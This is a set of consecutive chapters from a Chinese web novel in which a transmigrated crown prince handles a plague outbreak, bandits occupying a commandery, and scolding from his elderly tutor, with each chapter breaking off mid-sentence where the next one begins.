你说他暴躁吧,他没有当即带人把古渡郡的城楼拆了;说他克制吧,他又极为挑衅的把信直接射到了人家的城门之上。 虞煜看着一边禀报还一边愤怒的裴安翊,安慰的同时又免不了教诲了他几句,让他要知道虽然郡中官宦确有不敬之举,但百姓到底无辜,他万不该将就此药材拉回来。 心中却暗叹失策,没想到裴安翊年纪不大,却心气颇高,早知道就派晏俭臣去了,至少年长几岁的他不至于像年轻人那么易燃易爆。 然而裴安翊却仿佛一下下就看透了他的心声,直言道晏俭臣若遇此事只会比他更加暴躁,只怕到时候信都不是射在古渡城门之上,而是直接朝着城楼甲士的脑袋而去。 毕竟不敬君王者,被揍也是活该。 虞煜被他这番油盐不进的言论气笑了,一边喝令他速速将药材再次送往古渡郡,一边命令他以后万不能再做这不恤苍生之举,违者当以军法论处。 该说不说,原主的属臣配置以年轻人为主,除了傅泓之外,其余人都尚处在年富力强的阶段,不难看出是为日后登基的班子做准备,这原本是一个不错的举动。 但团队太过年轻就避免不了一些事情的发生,年轻人敢闯敢冲,却也易燃易爆,再加上虞煜替代原主之后,没有那么严谨的君臣之别,导致整个团队的画风也日趋活泼。 这样的做法固然能使君臣感情急剧加温,但弊端也逐渐呈现,为君者若威仪不够,臣属也会日益放纵,最后甚至会发展为不将主君的安排放在眼里,此刻已然有了这种苗头。 看着领命离去却依旧不忿的裴安翊,虞煜终于意识到这个问题的严重性。 他之前的世界奉行人人平等,所以他虽时常记挂着不能让太子这个身份ooc,但由于他实在没有什么显著的阶层观念,待人接物中不自觉的透出的随和之感,让臣子们有了冒进之心。 虞煜也清楚,在这一点上,他的作为远远比不上原主。 在封建社会,一个不被臣子所敬畏的君主,自然也无法弹压臣子的野心。 这是一个很危险的开端,虞煜觉得不能再这样放任下去了,平生第一次,思考起了之前一直嗤之以鼻的帝王制衡之术,果然每一个东西的存在,都有其的必然道理。 但在眼下,这个情况固然危险,却不是目前需要迫切处理的问题,当前依然还是要以解决锦州瘟疫为最主要的目标,若不然,这将会让他遭受致命打击。 他不明白,为什么古渡郡得知太子来了,却依旧不开城门,但他确信,皇帝死亡的消息并没有传到这里。 因为锦州特殊的地理环境,唯一可以抵达此处的方法便只有从历州横渡过来,而他不仅抢走了历州所有的船只,还烧毁了历州的渡口,更是直接在锦州门户的锦州渡口驻扎了十余日,可以完全确定无人可向锦州报信。 而在他未至之前,安存德一心想着在历州围杀于他,后面更是不惜百里来回奔袭,自然也不会主动向锦州方面送 12. 第 12 章 《论亡国太子乱世苟活的可行性》全本免费阅读 与此同时古渡郡的郡守府内,一群穿着富贵却浑身匪气的人,正乱七八糟的坐在府内的中堂之上,或蹲踞或箕踞,反正都是依着怎么舒服怎么来,丝毫没有考虑得不得体的问题。 其正中的主位上盘腿坐着一个大汉,身材壮硕,颇有勇猛之态,只是一开口就匪气四溢,与通身的气派颇为不符,此刻正侧身询问坐在他右手边的一个在阅读绢书做文士打扮的清廋中年人。 “军师,现下怎么办,那大雍的什么狗屁太子来了,好像还带着兵马,我曾经听在历州水上混生活的兄弟说过,那太子手底下有数万大军呢,而且各个都骁勇善战,我们寨里这点人手不够给他填牙缝呀。” 疑似老大的人说完之后,引得周围一片七嘴八舌。 “对呀对呀,刚才那喊门的杀才虽暂时离去了,担保不齐什么时候又杀一个回马枪。” “这布上写的啥,我们大家伙都不识字,军师你给我们说道说道呗。” “这些贵人日子过得真好,写字都用那么好的布,要不是抢了这官老爷的府邸,我这辈子都看不到这样的好东西。” “这些达官贵人,都是只管自己享受的,哪管我们这些寻常人的死活,你看这瘟疫一来,当官的就全跑路了。” “对,要不是老大心善,接手了这里的烂摊子,只怕这古渡郡早是一座空城了,要我看我们也别理这什么狗屁太子皇帝的,直接推了老大当皇帝,自己单干,也不见得就比不上现在的老皇帝。” “你这是夸我呢还是损我呢,爷爷这样英豪之人,在锦州绿林中也是出了名的好汉,那老皇帝是能打架还是能上马呀,和爷爷比?” 原本喜滋滋听着小弟夸奖的老大听到这不开心了,狠狠的瞪了小弟一眼。 “是兄弟说错了,大哥英勇天下无双,哪是那快死的老皇帝可以随意攀比的。” 小弟笑的一脸谄媚,连连认错。 “这还差不多。” 老大满意了,赏给了小弟一块糕点。 “咳咳!” 眼看当下的话题越来越飘,越说也越没谱了,清瘦文士清了清嗓子,打断了他们的臆想。 “军师你这是咋了,嗓子不舒服,正好我住的那个狗官房子里有蜂蜜,我给你拿点泡水喝,听说那玩意儿对嗓子可好了。” 老大立马关怀到,现在读书人可不好找,能看得起他们这些绿林好汉的读书人更是少之又少,可得好好爱护着,他虽然没读过书,但听几场戏也知道这打天下可不能少了读书人。 “多谢寨主关心。” 被称做军师的清廋文士笑着谢过,他本来只想打断这些人不切实际的想法,但意外得来的蜂蜜他也笑纳了,毕竟他都好几年没有尝过甜的滋味了,哪里知道自家老大的豪情壮志,心思都飘到打江山上去了。 其他人听到蜂蜜二字都忍不住咽了一口口水,但却不敢出言相讨,这东西金贵着呢,要不是军师也是个金贵的读书人,只怕老大也舍不得拿出来。 他们这些小喽啰,想象一下味道也就罢了。 “一家人,客气啥呢,快给我们说说,这太子信上写的啥呀,亲娘嘞,我长这么大还是第一次接触这么大的官。” 寨主搓搓手,有点激动的说。 “寨主,太子是储君,不是官职。” 军师强忍了一下,还是没有忍住的和寨主解释道。 “管他什么君,我只知道他是未来的皇帝老儿,但这些都不是事儿,你快给我讲讲都写了啥。” 寨主对他的解释毫不在意的挥了挥手,一门心思都在绢书之上。 军师顿了一下,很想问一句这都不是事儿,那什么才是事儿? 但几年的相处经验也让他了解这些人的秉性,所以也不强求他们能够听懂这些,当即将虞煜信中所写之事一一道来,虽然已经看过一遍,但再次讲来却依旧心潮澎湃。 “你是说太子带来了可以根治瘟疫的人,让我们配合他的防治工作,怎么可能!” 寨主听完眼睛睁得比铜铃还要大,满脸的不可置信。 “不可能不可能,瘟疫是老天爷降下的惩罚,只有等他老人家觉得惩罚够了才会收回,哪里听说过可以治的。” 其他人也是一脸怀疑,觉得这个太子定是不安好心。 “如若所言非虚,我们就不必整日困在这郡守府中不得而出,也就可以拯救这城中的千千万万的患病黎民,寨主当日接手被狗官遗弃的这里时,不也正是抱着救民于水火的道义而来的吗?现下有一种得以万全的解决办法就在眼前,怎么还在迟疑呢?” 看着并不相信的众人,军师对着寨主循循善诱道。 “军师,你可了解那太子的为人?” 寨主沉思了一会儿,似乎是下不了决定,转而询问军师太子的为人。 但众人看在眼里,都知道他是动心了,毕竟能够逍遥的活在四野里,谁耐烦挤在郡守府这一片天地中出不去,再安稳豪华,但在瘟疫当头也有着朝不保夕的危险。 “我虽然没有见过太子殿下,但也听闻其是一个极为宽厚仁慈之人。” 军师缓缓说道,见寨主还在迟疑,又暗自添了一把猛火,“中原的百姓们,都在期待着殿下早日登基呢。” 差点就要直言太子如果上位肯定比现在的皇帝做得好多了。 “好!我信你,你就说怎么干吧!” “我们等着就行,太子殿下在信中写了,他安排此前喊门的那位将军给我们带了可以暂时防护感染的药材……” “带了药!药在哪里?” 军师的话还没说完,就被激动的寨主打断了,寨主的目光投向主管城门安全的人身上。 “没药呀。” 那人有些懵,那将军喊门的时候他一直都在城楼上偷看,唯恐其会强行闯了进来,没见到有什么药呀,但确实看到那些人拉了几个箩筐。 说完后看到大家全都一脸怀疑的看着自己,觉得自己委屈极了,急忙辩解道。 “我真没收什么药,老大不是吩咐无论如何都不许开门吗,我照着做了,那将军就恼了,拔下弓箭引弦便射,我还以为他要直接闯进来,没想到射了封信在门上就转身离开了,我倒是看到他们拉着几个箩筐,但是又拉着走了。” “再说了,这瘟疫就该请巫者来驱祟,那劳什子的苦汁子有什么用。” “哎!那肯定就是信里所说的药材了,就这样没了。” 寨主懊恼的狠狠砸了一下面前的桌案,木质的桌案随着他的动作瞬间垮散,吓得周围人一个激灵,俱都缩着脖子不敢出声。 “寨主勿急。” 军师出言安抚。 “可以治病的药都没了,我怎么能不着急。” 烦闷的寨主抱头长叹,他其实不太知道药有什么用,但管它什么办法,都拿来试试不就知道了,就算不行,他就不相信那太子麾下连个巫者都没有,到时候再请他帮着驱祟就可以了,但现在生生错失了机会。 “真的不用着急,如果太子真如传闻中的 13. 第 13 章 《论亡国太子乱世苟活的可行性》全本免费阅读 “殿下,难道你……就不该说点其他的吗?” 姜泽难以置信的抬起头,试探着问道,却见已经低头翻看竹简的虞煜再次抬头疑惑的看向他,扯了扯嘴角露出一个极其敷衍的笑容。 “怎么,你还是小孩子吗?做错事还要大人安慰一下吗?” 看着面带微笑,却眼含嘲讽的虞煜,姜泽郁闷得想要以头撞地。 “你当心一点,地毯对于现在的我们来说是奢侈品,脏一块就少一块了,可别把你的血溅在上面。” 姜泽终于知道姐姐为什么那么讨厌太子了,接到圣旨的时候甚至动过逃婚的心思,实在是因为太子殿下真的太可恶了,之前还好一点,但自从中箭之后不知道是打通了体内的哪根经脉,什么宽厚仁爱,全都是假象。 姜泽悲愤的想着,随即又推翻了自己所下的定义,毕竟太子对士卒和百姓还是很仁爱宽厚的,对臣子就算了,他不仅不厚道还老是喜欢阴阳怪气,脾气也没以前好了,现在只要看到他一挑眉,姜泽就觉得心底虚的慌。 如果虞煜知道他此刻内心的想法,一定会问一句,少年,听说过教导主任的注视吗?特意学的呢,好用的嘞。 还有,你姐姐讨厌的是原主,不是我,你搞错因果关系了。 “你在想什么?” “想姐姐!” 一问一答,两人瞬间陷入了沉默。 虞煜暗恨自己嘴贱,没事让他快走,问什么破问题,现在好啦,尴尬了吧。 姜泽也在暗恨自己嘴快,没事还不快走,在这里乱想什么,现在好啦,尴尬了吧。 姜泠是两人一直避而不谈的话题。 姜泽是因为觉得愧对太子殿下而一直不愿提及,做为和姐姐一同出生的双生子,他对姐姐的心思了如指掌,一直知道姜泠根本不喜欢太子,甚至还动过逃婚的念头,只怕此刻的局势才如她所愿,早不知道跑哪里去潇洒了,至于安全问题他觉得根本无需担忧,毕竟天下能打赢他姐姐的人应该还没出生呢。 虞煜则是因为自觉没有什么立场可以提及,毕竟看过书的都知道,姜泠很讨厌太子的,他又何必上赶着惹人生厌,何况他也知姜泠武艺超群,虽然此刻上京陷落了,但她肯定不会出什么问题,不然也不会有后面的剧情出现了,说不定正窝在哪里收小弟呢。 “也是,上京陷落后姜姑娘一直没有消息传出,要不派人去找找?” 虽然他同这位女将军未曾谋面,也知道对方大概是不想再见到自己的,但做为名义上的丈夫,在人家弟弟明确提出想念姐姐的时候,他也不能毫无表示。 “不用不用。” 姜泽连连摆手,要是让姐姐知道自己好不容易逃出生天却又被自己搅合了,那还不得被活劈了,这万万不可呀。 “……” “……” 两个人再度陷入了诡异的沉默。 而被两人一起念叨的姜泠则在距离上京不远处的一个小山村中狠狠打了个喷嚏,正疑心自己最近是不是跑得太欢快以至于不小心着凉了。 寻思着去哪里找碗蜜水喝喝,全然不知道自己刚刚被迫参与了一段尴尬的聊天。 “殿下,巫蕤有要事禀报。” 直到外面家令的通报声响起,两人才从诡异的沉默中苏醒过来。 “殿下既有要事相商,末将就先行告辞了。” 姜泽飞快告退。 “慢走不送。” 虞煜也飞快送客,两人都绝口不提刚刚那段尴尬的聊天。 在离开营帐的时候刚好遇到帐外等待觐见的巫蕤,姜泽点头和他见了一礼后就飞快的离去了,还让巫蕤颇为疑惑。 这姜都尉是遇着什么急事了吗?怎么跑得比兔子还快。 “进来吧。” 就在巫蕤疑惑之际,帐内已经传来太子召见的声音,他只得暂放疑惑,进帐禀报。 “蕤拜见殿下,殿下万安。” 虞煜看着恭敬行礼的巫蕤,有些无语凝噎。 虽然很感激他的求见打破了方才那尴尬的氛围,但心里也有些疑惑,为什么今天他的臣子都喜欢在接触疑似病患之后来找他禀报事情,难道这瘟疫他就非遭不可吗? “卿家无需多礼,请起吧。” 巫者在这个时代是没有资格被称为臣子卿家的,但是虞煜对此并不在意,他爱惜于巫蕤的才能,觉得所谓的臣子卿家不过是一个虚名,巫蕤是绝对担得起的,故一直这样称呼他,若是巫蕤不要每次听到都双目含泪一脸感动的模样,虞煜会称呼得更勤快。 “蕤突然来访,可是刚刚接手的那个病人有什么问题吗?” 不想看一个大老爷们双目含泪的样子,虞煜默默的更换了称呼,询问起巫蕤的来意。 至于是否会被瘟疫感染这个事情,他其实已经看得极其淡然了,毕竟已经身处瘟疫横行的地方,怎么也不可能幻想着能够独善其身吧,那还真是把自己当成天选之子了。 天选之子的正确打开方式是,一经出世,各路人才纷沓而至纳头便拜,是的,说的就是二十年后的主角。 哪有天选之子是亡国太子开局的。 何况他们已经有了治疗瘟疫的药方,虽暂时不知道具体的疗效到哪一个程度,但在患病之初就紧急治疗大概是死不了的,他确信虽然现在制药的药材一直都没有凑齐,但巫蕤肯定给自己留着一副保命用。 与众不同,也点让他有点惭愧,当然也只是一点点。 “正是病人那边出了点状况。” 巫蕤看着太子的眼神闪烁不定,就知道他肯定又在暗自思考什么事情了,但他对此并不感兴趣,一板一眼的回禀着自己要说的事情。 “难道瘟疫的情况出现变化?” 听到自己似乎一语言中,虞煜的神情瞬间严肃了起来,只盼着事情不要再向着更不好的方向奔去了。 “那倒也不是。” 听到巫蕤大喘气的回答方式,虞煜觉得自己的心脏一直在尾随着他的话音做过山车活动,半真半假的开口吐槽道:“卿家下一次还是尽量一次把话说完吧,这样对我的心脏也友好一点。” “臣下次改进。” 巫蕤虽然不知道自己的说话方式怎么对太子的心脏不友好了,也不觉得自己的说话方式有什么不对,明明是殿下自己太过着急,但是很懂揣摩人心的他自然也知道,领导提的意见听着就行,改不改就全凭自己心意,所以他向来应呈得很快,却从来不改。 对其作风已有一定了解的虞煜也只是随口一说,并不奢望巫蕤真的会做出改变, 14. 第 14 章 《论亡国太子乱世苟活的可行性》全本免费阅读 “带孤去看看,孤还没亲眼见过这么好玩的中毒呢。” 虞煜一下子就来了兴趣,站起身来几步就走到了巫蕤的身旁,兴冲冲的让他快带自己去看看。 “……” 巫蕤满脸无奈,他怎么敢带太子去疫所之地,还是在有一个病人的情况下。 虽然他自己可以拍着胸脯肯定的说那个人绝对没有感染瘟疫,但是那个人中毒了导致疯疯癫癫的样子,怎么看都不太正常,若是他现在真的将太子带了过去,只怕他巫蕤也见不到明早的太阳了,群臣一人一下都能把他活撕了。 再说了,中毒有什么好看的,虽然真的很好笑。 想着,巫蕤又忍不住有点想笑了,不行要严肃,他告诫自己。 “走啊,愣着做什么?” 虞煜行至帐门,一回头看巫蕤站在原地不动,有些疑惑。 “殿下,千金之子坐不垂堂。” 巫蕤劝道。 “……快走,不然孤治你个不敬主君的罪名。” 眼看自己多番催促巫蕤都不为所动,虞煜故意沉下脸来威胁道,再不走,中毒的人该醒了。 “……” 然而巫蕤依旧不为所动,看他的目光犹如长辈在看一个不懂事的孩子。 太子到底年轻,虽然总是故作老成持重的模样,但终归还处于对新奇事物感兴趣的年纪。 “我们悄悄看一眼就回来。” 虞煜尝试讲条件,希望巫蕤快点带他去见识一下,再不走,傅泓老爷子也该来了! 巫蕤可耻的心动了,毕竟那场面没人分享自己一个人笑也挺可惜的,他又不敢去找其他人分享,太子,似乎是一个也还不错的笑话搭子。 “殿下要去哪里呀,带老臣一个如何?” 然而就在他要答应之时,帐外传来了傅泓的声音,他默默的把刚要同意的话吞了回去,无比庆幸自己说话慢,对太子此前的提议更加不想考虑了,说话慢在有些时候,显然是能救命的,比如现在。 他递给太子一个自求多福的眼神之后,就默默低头站在角落里,把中心的位置特意留出来让傅泓发挥。 虞煜没想到说傅泓,傅泓就到,也没想到巫蕤这么没义气,匆匆回到自己的位置坐了下来。 紧接着帐门就被掀起,傅泓一马当先的走了进来,紧随其后的是家令卫衍,两人神情如出一辙的严肃,颇有兴师问罪之感。 原来是你告的密,亏我这么相信你。 虞煜看向傅泓背后的家令,目光中透着控诉,控诉中带着谴责,他还说傅泓怎么会来得那么凑巧。 家令却不为所动,他自认为是离太子殿下最近的人,事关机密的事他自然不会外泄,但这种为了看热闹而不顾自身安全的行为,他是必须要阻止的,这也是他的职责所在。 虞煜本来还想以目光继续谴责家令,却被其身前的傅泓挡开,当即移走目光,故作无事发生。 说实话虞煜是有点怵傅泓的,其实傅泓并不是一个揽权怙势的人,他一向对虞煜做出的决定都很支持,这种支持自然在原主身上也体现过,除非决定太过糟糕他才会提出折中的意见,绝不会轻易反驳。 其实从这里就不难看出,他是一个很好的老师,会一直暗中培养和引导着太子的独立决断能力,并不轻易折损太子的面子。 古语有云:“为父母者必为其计深远。” 虞煜觉得傅泓为太子的筹谋之心,也绝不在此之下,甚至比起记忆中那个看原主极度不顺眼的皇帝,不知称职多少倍。 他对傅泓的惧怕,大抵源于天下间的学生都会对老师产生的那种又敬又怕的情绪,就算他现在是太子也不例外。 而且自从知道便宜老爹去世后,原主又在踞牢关前中了一箭,虞煜从一苏醒到这个世界,就感觉到了傅泓在有关他人身安全方面的问题往往慎之又慎。 “殿下怎么不说话了,不是打算要出去吗?” 傅泓明知故问气势全开,真的让虞煜有一种翻墙逃课被教导主任抓到的即视感,虽然他读书的时候没有享受过这个待遇,但不妨碍他可以共情。 前世二十多年的读书经验告诉他,这个时候认错是唯一的方式,顾左右而言他只会害了自己。 “太傅,我错了。” 虞煜立马滑跪,在他的人生观里,低头认错才不是什么丢面子的事情,只要能够达到他想要的目的,如果需要,他可以把头埋进土里,当然他估计自己如果这样的做的话,傅泓应该会更生气。 所以他现在虽然在承认错误,却依然端坐着将脊背挺得笔直,这应该也是他生平最理直气壮的一次认错了,当太子真难呀。 “殿下怎么会错呢,错的一直是臣等呀。” 傅泓说完,狠狠的瞪了一眼巫蕤,从他进来后一直缩在角落里当鹌鹑的巫蕤立刻行礼告退。 “蕤还有病人在等待,就不打扰殿下和太傅座谈了,蕤告退。” 说罢,不等虞煜发话,一转身就走得干净利落,比之前他遇到的姜泽还要快上几分。而家令也随着他的离去而退到营帐之外,毕竟他觉得太傅应该会有些重要的事情和太子商议,他得保证没有人来探听。 虞煜伸手欲挽留,尚不及开口,就只见到巫蕤飞速离去溅起的尘烟,又默默的把手收了回来,准备独自承受来自傅泓的怒火。 然而他多虑了,傅泓一向是一个最遵守君臣礼仪的人,也就意味着他并不会直接指责虞煜,但是他会阴阳怪气。 “殿下此前有伤在身,臣等日夜忧心不已,不敢以言语打扰殿下的的休养,而今殿下伤势稍愈,老臣有些话不知当讲不当讲?。” “太傅但讲无妨。” 虽然虞煜在心中疯狂刷屏“不当讲”,但表面上还是言笑晏晏的同意了。 紧接着,傅泓目光如炬的看向了他,他顿感后颈一凉,一种不祥的预感在心底急速攀升。 “此前上京遭围困,殿下力排众议执意带军前往驰援,而后……” “而后,殿下得知先帝山陵崩,于踞牢关前更是一马当先,险些送了龚守仁一个不世之功。” 他就知道,原主踞牢关前那么离谱的行为,怎么他醒来后也没听老头子说上一句,原来在这等着秋后算账呢。 对于傅泓所言,虞煜很想反驳,但又无从辩说,毕竟这些事儿的确是原主做的,他再憋屈,也只能认了。 接着,傅泓的眼风又飞了过来,虞煜神奇的读懂了其中的意思,老头子让他坐稳点,他还要接着骂。 真的……好气呀! “现在,也不顾我等行至此处,已是生死存亡之际,居然还毫不顾惜自身安危,以身犯险,只为去看一个身份不明,病因不明的人员取乐。” 好吧,这是他自己刚刚想要做下却被阻止的事情,挨骂也不冤,他也认了。 只是还未等他再度开口认错,一直气势汹汹的傅泓却 15. 第 15 章 《论亡国太子乱世苟活的可行性》全本免费阅读 听到家令的通报,虞煜火速调整了自己的精神状态,又恢复了正襟危坐的姿态。 而傅泓也再度整理了一下自己的头冠,确认没有什么不得体的地方,就退回到虞煜下首右侧的席位上坐定,仿佛刚刚他和虞煜刚刚只是在正常的谈话而已。 虞煜暗中吐槽了一句老狐狸。 他实在搞不明白,今天莫不是什么谈话日吗?怎么都喜欢在今天扎堆来找他。 在接连面对了姜泽,巫蕤和傅泓之后,他已经累了。 但考虑到自己安排给裴安翊的任务,他还是强打起精神静待着裴安翊的到来,希望会有好的转机出现。 而帐外的家令看清跟在裴安翊身后的人时,眼睛瞪得比铜铃还大。 “怎么是你?” 话语中全都是不可置信。 跟在裴安翊之后的正是占据了古渡郡土匪的军师,他行至家令身前不远处,拱手行了一礼,声音中透着几许怅然。 “卫大人,好久不见了。” 家令对此沉默以对,似乎还没从刚刚的震惊中反应过来,直到裴安开口询问,他才回过神来,却一时不知道怎么该回应其提出的问题。 “卫大人,你们认识?” 沉默了许久,看得裴安翊迷惑不已,家令才干巴巴的说了一句。 “或许吧。” 而军师对此报以苦笑,裴安翊则更加迷惑了,所以这到底是认识还是不认识呀? 忍不住用手挠了挠脑袋,意外的被头盔挡住。 “裴将军,你就是要带此人觐见吗?” 稳定好了情绪,不想再继续纠结这个问题的家令转移了话题。 “正是,这位是古渡郡的郡守从事计木区,郡守因郡城瘟疫无法走开,让他以我前来汇报。” “计大人,这位是太子家令卫衍卫大人。” 裴安翊虽搞不懂这两人到底是认识还是不认识,但本着同朝为官要有礼貌的原则,他为二人分别进行了引荐。 “下官拜见卫大人。” 计木区的礼仪很标准,语气也没有什么特别的,普普通通的下官拜见上官的常用句式。 “有礼了,郡守从事计木区计大人是吧。” 而家令的语气就有点微妙了,眼神也透着怪异,这让裴安翊又略带疑惑的看了他一眼。 “既如此,那就得罪了。” 觉察到裴安翊探询目光的家令,招手喊来两位甲士,对计木区展开了细致的搜身检查。 在一旁上交了随身武器的裴安翊目瞪口呆的看着在家令的指示下甲士将计木区翻了一个底朝天,有些迟疑的开口。 “卫大人,有必要这么细致吗?” 虽然他对古渡郡之人将他拒之城外的举动表示十分愤慨,但也觉得家令对计木区的检查太过严苛了,只差连腿毛都要数一数有多少根。 “太子殿下的身份今时不同往日,我们自然也要更细致一点。” 然而回应他疑问的只有家令一个“你懂什么!”的眼神,但他觉得家令说得很有道理,谨慎点总归是没什么坏处的,是故也没有再言语相询。 “他们怎么还在外面聊上了?” 久等不见有人进来的虞煜有些无聊,隐约听到帐外有人在聊天,又有些好奇,忍不住伸长了耳朵去听,却被傅泓的咳嗽声打断了。 回过神来见傅泓正满脸不赞同的看着自己,有些不好意思的用指头挠了挠脸颊。 失策呀,忘记老头子还坐在里面。 而帐外刚接受完甲士检查的计木区正在整理衣服,听到帐内传来熟悉的咳嗽声两手一抖,差点把腰带都扯掉了。 有些震惊的看向家令,目带询问。 然而家令并没有给予他任何的回应,而是姿态极高的做了一个请的姿势。 “裴将军,计木区大人,请吧,殿下在里面候着呢。” 被再次称呼全名的计木区有些赧然,他知道是卫衍在故意臊他,也不太放在心上,倒是旁边的裴安翊亦言亦止好几次后,到底出言说了一句。 “卫大人,就算计大人只是郡守的属官,你也不好这样直呼他的名讳,不尊重。” “是吗,计木区大人?” 然而家令对于此并不买单,再一次称呼了计木区的全名后,以动作催促他二人快点进去。 “如果你依然是那个人的话,相信里面的人,一定是你想见到的。” 在与家令错身而过之时,裴安翊听到其幽幽的叹了一句,正要询问,就见跟在他身后的计木区身形顿了一下,他感觉自己懂了。 卫衍绝对和这个计木区认识,看起来似乎还结下了不小的梁子,看着这么聪慧的人,怎么就不知道隐忍呢,何必为一时之快,惹恼了太子身边的能臣,现在好了,只怕仕途也就到这里了。 自以为知道了真相的裴安翊进帐之前向计木区投了一个略带同情的目光,让即将见到故人本就有些紧张的计木区不明所以,报以疑惑的目光。 然而紧接着,裴安翊就被随他一起进入帐内的计木区打脸了。 眼前的一切告诉他,他此前的猜测虽不能说是十分准确,但也可以说是毫不相干。 只见计木区一进帐内,坐在太子右下首的傅泓就看了过来,在看清他容貌的时刻,手中的茶盏几乎都要握不住而掉落,神色是和家令如出一辙的难以置信。 而计木区则是一进门就跪下了,先是对着太子行礼。 “原锦州扶风郡郡守计枢,拜见太子殿下。” 紧着着又侧身向傅泓行礼。 “不肖弟子计枢拜见老师。” 啥玩意儿?虞煜和裴安翊都惊呆了。 “你不是古渡郡的从事计木区吗?” “原锦州扶风郡郡守是怎么回事,孤记得扶风郡郡守不姓计呀。” 受到震撼的两个人同时将目光投向了帐内唯一知情的傅泓,却见他非常傲娇的扭头“哼”了一声,不理会任何人的询问。 遭到知情人的拒绝后,只得又将目光投回到了当事人的身上,还好计枢是一个非常有眼力见的人,不需要虞煜开口询问,自己就将这其中涉及到的情况说得一干二净。 不仅详说了自己在前往扶风郡任职时遭袭击险些丧命被山匪所救的事情,还自爆了自己现在是山匪的军师,而古渡郡从事则是一个纯纯的假身份。 因为瘟疫的原因,在城外百姓死绝,疫毒开始扩入城内之际,郡内官宦大族尽皆弃城池百姓而逃,是他们寨主看不下去百姓无人看顾才暂时接管了古渡郡。 “混账!混账!” 计枢话音未落,傅泓就怒掀了桌案,气得手都是颤抖着的,不知道是在骂计枢,还是在骂逃跑的官员。又或者两者都有。 守护在外的甲士听到动静冲了进来,却被虞煜挥退。 虞煜自然也是怒极,他知道这是一个民不聊生,政治黑暗的时代,但并不代表他可以接受灾难降临之时,官宦不思救助,反将百姓围困至死后弃城逃亡的事情。 有着这样官员的存在,虞煜觉得大雍不亡都对不起百姓。 虞煜暗中发誓,这些人最好能逃得远远的 16. 第 16 章 《论亡国太子乱世苟活的可行性》全本免费阅读 古渡郡官员不干人事的程度,完全超乎了虞煜的想象,他决心要从古渡郡入手并对整个锦州拨乱为治,毕竟能出现全郡官员尽数而逃的情况,也足见整州的为官风气了。 “所以,现在的古渡郡是你们在控制之中吗?” 虞煜出言向计枢确认。 “禀殿下,正是。” 计枢回答之后,见虞煜并不言语,犹豫了一下,又斟酌了一下词句,替入驻城里的山匪求情。 “他们虽为山匪,却都是侠肝义胆之人,大多都是迫于无奈走投无路才选择了进山为匪,素日里顶多打劫一下过往的富商,从不骚扰老百姓,更不轻易伤人性命,还望殿下……” 话音未落,就被傅泓的杯盏砸到了身前,四处飞溅的茶水染湿了他的半边袖子。 陶器在地上碎裂的声音,吓了正在思考的虞煜一跳,甫一回神,就听到傅泓中气十足的喝骂声。 “你那么多年的圣贤书都读到狗肚子里去了,是脑子进水了还是被匪徒同化了,还只劫掠过往富商,过往富商招你惹你了,难道他们就不是我大雍的百姓了吗?他们就活该劫掠吗?竟然还敢恬不知耻的为一群匪徒求情!” 傅泓声音洪亮,震得离他最近的虞煜耳朵直发麻,虽然身为土匪能有向善之心这一点虞煜很欣赏,但他是极度赞同傅泓的话的。 穿书而来的他站在五千年历史的高度上,他清楚的知道无论以怎么的形式来美化一些匪徒的存在,但透过现象去看其本质,也还是一群不尊法理的亡命之徒。 他也不准备完全将他们一竿子打翻,因为这些人的存在,往往与时代的背景紧密相连,尤其是在这样民不聊生,制度腐朽的王朝末年,各地出现几波匪徒,在他看来也是再正常不过的事了。 但善恶有度,奖惩分明,他要留待着亲自去见了那群山匪,才会进一步考虑对他们的安排,是留是杀,端看他们过往的事迹。 而计枢整个人则在傅泓的喝骂中无地自容,羞愧的垂得头,都快要钻进地底了。 其实他何尝不知道老师的说法是对的,只是他受人恩惠,又和他们相处了许久,知道那其实是一群虽小恶不断,大恶不敢的人,但不光彩的出身,往往就注定了他们结局也不会太好。 就是他自己,虽出身官宦,却因乱成为山匪,尚且不知道自己的结局会定在哪里。 这也是他思虑再三还是决定出言求情的原因,不止是为了山匪一众,也是为了自己,他自认从来都是利益为先的人,这也是以前傅泓时常为他担忧的原因,总担心着他会一时不慎误入歧途。 可惜他最终还是走上了歧途,且是正在意义上的歧途,虽然其中纠葛无关他个人意愿。 看了一眼对自己怒其不争,愤怒到了极点的老师,他又惭愧的把头低了回去。 实在是羞愧难安,且无颜以对。 为人弟子,本该“有事,弟子服其劳。”,而自己却让老师时常忧虑。 “更深露重,太傅不如暂且前去休息,我还有些许事项想要向师兄相询。” 看着可以称作怒发冲冠的傅泓,虞煜颇为担心待会儿要是计枢再说出什么让他无法承受的惊天之语,毕竟年纪也不小了,经不住这样的刺激。 “他算你哪门子的师兄!我今天就是要坐在这里,看看从这个竖子的嘴里,还能吐出什么玩意儿来!” 傅泓气得青筋暴起,强忍着怒火理了理方才因飞掷茶盏而凌乱的衣摆,牢牢的正坐在自己的席位之上。 好吧,弟子变竖子,看来老头子真是气得不轻了。 虞煜看了眼打定了主意就要坐在这里听完全程的傅泓,只能暗自期待计枢不要再说出什么太过于炸裂的言语,转头继续询问。 “计先生,你能和孤详细讲讲目前郡中的情况吗?” 因为傅泓在一旁的虎视眈眈,避免再刺激到他,虞煜没有称呼计枢为师兄,而是折中了一下改称先生,但他还是感受到老头子凉凉的看了他一眼。 “能得殿下相询,是我的荣幸,若我所知范围内,定知无不言。” 得到虞煜的询问,计枢悬着的心倒是微微落了下去,起码太子殿下并没有因为他入过匪途就轻看了他,还是愿意从他口中询问信息的,这对他而言,是一个极好的开端。 说起来,他还从未见过这位太子殿下,对太子的了解也止于听闻,他从传闻中拼凑的太子形象,一直是一个宽厚仁爱却迂直少谋的人,而今一见,方知此前错的离谱,果然传言可信但不可尽信呀。 就他今日所见而言,太子的确是一个宽厚仁爱的人,而迂直少谋却不见得,细观其的一举一动,他就发现太子心中自有丘壑。 还好他本就是诚心而来,并未抱着有意欺骗的存心,否则只怕今日死生难料。 到底是谁,传出了太子迂直少谋的传言。 计枢思索了一下,觉得很有可能是晋王一派,毕竟当今膝下只有两位皇子而已,一人若出事,那么最终受益的就只会是另一个人。 身处的锦州的他并不知道,上京的皇帝已被义军处死,而晋王也不知所踪的消息。 而流亡在外居无定所的晋王要是知道这个时候居然还有人诽谤他,可能真的会破口大骂,毕竟国都亡了,他也不必再做那些礼贤下士的表象。 可惜他不知道,甚至除了猜测的计枢自己,也没有人知道他外表看起来端正恭敬的样子,其实已在内心里脑补了无数的剧情。 “那就烦请先生了。” 虞煜没有直接点出自己要听哪几方面的内容,他相信以计枢这种顶级谋士的存在,自然能将郡中目前所有的有用信息一一道来。 